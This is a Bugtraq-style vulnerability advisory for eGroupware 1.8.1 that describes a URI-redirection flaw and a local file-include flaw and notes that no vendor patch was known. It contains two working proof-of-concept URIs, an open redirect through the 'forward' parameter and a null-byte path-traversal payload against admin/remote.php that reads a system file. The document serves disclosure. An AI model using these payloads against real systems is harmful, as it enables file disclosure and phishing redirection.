eGroupware URI Redirection and Local File Include Vulnerabilities

Bugtraq ID:	47968
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 25 2011 12:00AM
Updated:	May 25 2011 12:00AM
Credit:	AutoSec Tools
Vulnerable:	eGroupWare eGroupWare 1.8.1 20110421
Not Vulnerable:

eGroupware URI Redirection and Local File Include Vulnerabilities

eGroupware is prone to a URI-redirection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these vulnerabilities to execute arbitrary local files within the context of the webserver process or redirect users to a potentially malicious site. This may aid in phishing attacks or allow the attacker to compromise the application; other attacks are also possible.

eGroupware 1.8.001.20110421 is vulnerable; other versions may also be affected.

eGroupware URI Redirection and Local File Include Vulnerabilities

An attacker can exploit these issues through a browser.

The following example URIs are available:

http://www.example.com/egroupware/phpgwapi/ntlm/index.php?forward=http://www.example1.com/
http://www.example.com/egroupware/admin/remote.php?uid=a&type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.jpg&creator_email=a

eGroupware URI Redirection and Local File Include Vulnerabilities

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

eGroupware URI Redirection and Local File Include Vulnerabilities

References:

• eGroupWare Homepage (eGroupWare)